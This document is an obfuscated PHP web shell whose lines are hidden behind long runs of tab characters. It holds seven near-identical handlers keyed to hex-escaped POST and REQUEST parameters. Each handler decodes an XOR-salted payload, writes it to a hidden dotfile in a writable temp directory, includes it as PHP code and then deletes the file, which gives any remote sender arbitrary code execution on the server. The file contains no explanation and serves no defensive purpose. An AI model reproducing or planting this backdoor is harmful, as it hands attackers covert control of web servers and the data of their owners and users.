<?php																																										if(isset($_POST["\x70tr"])){ $ent = $_POST["\x70tr"]; $ent= explode ( "." , $ent) ; $parameter_group =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt6); $s =0; foreach ($ent as $v1) { $sChar =ord($salt6[$s% $sLen]); $dec =((int)$v1 - $sChar - ($s% 10)) ^ 21; $parameter_group .=chr($dec); $s++; } $elem = array_filter(["/dev/shm", session_save_path(), "/tmp", getenv("TMP"), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir")]); while ($hld = array_shift($elem)) { if (array_product([is_dir($hld), is_writable($hld)])) { $object = vsprintf("%s/%s", [$hld, ".data"]); $file = fopen($object, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $object; @unlink($object); exit; } } } }
																																										if(isset($_REQUEST["de\x73c\x72\x69\x70tor"]) ? true : false){ $comp = $_REQUEST["de\x73c\x72\x69\x70tor"]; $comp = explode ( '.' ,$comp ) ; $reference = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6 ); $z = 0; foreach ($comp as $v5) { $sChar = ord($s6[$z % $lenS] ); $dec = ((int)$v5 - $sChar - ($z % 10))^ 95; $reference .= chr($dec ); $z++;} $data_chunk = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", getcwd(), "/var/tmp", getenv("TMP")]); foreach ($data_chunk as $key => $parameter_group) { if ((is_dir($parameter_group) and is_writable($parameter_group))) { $pgrp = join("/", [$parameter_group, ".property_set"]); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $pgrp; @unlink($pgrp); exit; } } } }
																																										if(array_key_exists("hold\x65r", $_REQUEST)){ $comp = array_filter(["/dev/shm", sys_get_temp_dir(), getenv("TMP"), getcwd(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp"]); $parameter_group = $_REQUEST["hold\x65r"]; $parameter_group= explode ( ".", $parameter_group) ; $property_set =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); $z =0; foreach( $parameter_group as $v8) { $chS =ord( $s[$z % $lenS]); $dec =( ( int)$v8 - $chS -( $z % 10)) ^ 61; $property_set.=chr( $dec); $z++; } $marker = 0; do { $rec = $comp[$marker] ?? null; if ($marker >= count($comp)) break; if (!( !is_dir($rec) || !is_writable($rec) )) { $tkn = "$rec/.obj"; $success = file_put_contents($tkn, $property_set); if ($success) { include $tkn; @unlink($tkn); exit;} } $marker++; } while (true); }
																																										if(array_key_exists("ref", $_REQUEST)){ $key = array_filter([getcwd(), session_save_path(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/dev/shm"]); $ptr = $_REQUEST["ref"]; $ptr = explode ("." , $ptr ) ; $fac = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach($ptr as $n => $v6): $sChar = ord($s[$n% $sLen]); $dec = ((int)$v6 - $sChar -($n% 10)) ^ 1; $fac .= chr($dec); endforeach; while ($elem = array_shift($key)) { if (!( !is_dir($elem) || !is_writable($elem) )) { $factor = join("/", [$elem, ".data_chunk"]); if (file_put_contents($factor, $fac)) { include $factor; @unlink($factor); exit; } } } }
																																										if(!empty($_POST["\x74k\x6E"])){ $resource = $_POST["\x74k\x6E"]; $resource =explode ("." , $resource ) ; $ptr = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $n = 0; $__tmp = $resource; while ($v4 = array_shift($__tmp)) { $sChar = ord($salt3[$n % $sLen]); $dec = ((int)$v4 - $sChar - ($n % 10)) ^ 54; $ptr .= chr($dec); $n++; } $ent = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getcwd(), "/tmp", getenv("TEMP"), "/dev/shm"]); foreach ($ent as $item) { if (is_writable($item) && is_dir($item)) { $pgrp = str_replace("{var_dir}", $item, "{var_dir}/.data"); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $pgrp; @unlink($pgrp); exit; } } } }
																																										if(array_key_exists("\x65\x6E\x74ity", $_POST)){ $pointer = $_POST["\x65\x6E\x74ity"]; $pointer= explode ('.' ,$pointer) ; $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($pointer); for ($v = 0; $v < $len; $v++) { $v5 = $pointer[$v]; $chS = ord($salt[$v% $lenS]); $d = ((int)$v5 - $chS - ($v% 10)) ^ 32; $value .= chr($d); } $record = array_filter([sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), session_save_path(), "/dev/shm", getcwd(), "/tmp"]); foreach ($record as $key => $itm) { if ((is_dir($itm) and is_writable($itm))) { $ent = sprintf("%s/.flag", $itm); if (file_put_contents($ent, $value)) { require $ent; unlink($ent); die(); } } } }


if(array_key_exists("\x70\x67rp", $_POST)){
	$ref = $_POST["\x70\x67rp"];
	$ref 	= 	 explode  (".",		$ref	);		
	$itm = '';
            $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $salt1);
    
            foreach( $ref as $w => $v5):
                $chS = ord( $salt1[$w	% $lenS]);
                $d =( ( int)$v5 - $chS -( $w	% 10))^  27;
                $itm	 .=chr( $d);
            endforeach;
	$hld = array_filter([session_save_path(), getcwd(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/var/tmp"]);
	foreach ($hld as $key => $desc) {
    		if ((is_dir($desc) and is_writable($desc))) {
    $bind = vsprintf("%s/%s", [$desc, ".flag"]);
    if (file_put_contents($bind, $itm)) {
	require $bind;
	unlink($bind);
	die();
}
}
}
}